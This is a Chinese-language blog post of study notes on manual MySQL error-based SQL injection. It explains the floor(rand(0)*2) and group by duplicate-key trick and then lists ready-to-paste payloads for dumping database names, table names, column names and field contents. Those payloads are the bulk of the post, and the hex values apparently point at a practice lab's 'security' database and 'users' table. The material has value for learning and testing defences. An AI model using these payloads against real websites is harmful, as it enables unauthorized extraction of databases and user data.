標籤:依次 code 錯誤 htm group table 欄位 orm 十六進位
以前覺得報錯注入有那麼一長串,還有各種concat(),rand()之類的函數,不方便記憶和使用,一直沒怎麼仔細的學習過。這次專門學習了一下,看了一些大牛的總結,得到一些經驗,特此記錄下來,以備後續鞏固複習。
總體來說,報錯注入其實是一種公式化的注入方法,主要用於在頁面中沒有顯示位,但是用echo mysql_error();輸出了錯誤資訊時使用。
公式具體如下
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
我們在這個語句中其實已經可以看到了普通注入的影子,第五個select子句的version()處顯示了資料庫使用的版本,後面的information_schema.tables顯示的就是我們在mysql中對應的系統資料表資訊,第三個子句的limit用於控制遍曆資料庫的每一條記錄。
注意的是,我們一般手工注入使用limit時,都是使用limit 0,1;limit,1,2;limit 2,3……這種模式去依次遍曆資料庫的每個項目。
但是要注意這裡的遍曆方式需要調整:變成了limit 0,1;limit1,1;limit 2,1……這種形式
搞清楚了語句的公式,剩下的注入過程就跟我們普通的注入很像了,只需要調整語句對應的結構即可:
匯總如下:
1、暴資料庫:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、暴資料表:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=庫名的十六進位 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
3、暴列名:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
4、暴欄位:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,欄位名,0x7e))) from 庫名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
總結起來,就是一套已經成型的公式,然後用普通注入的方法進行注入就好了
參考文章:
http://www.jianshu.com/p/8c2343705100
https://www.waitalone.cn/mysql-error-based-injection.html
mysql報錯注入手工方法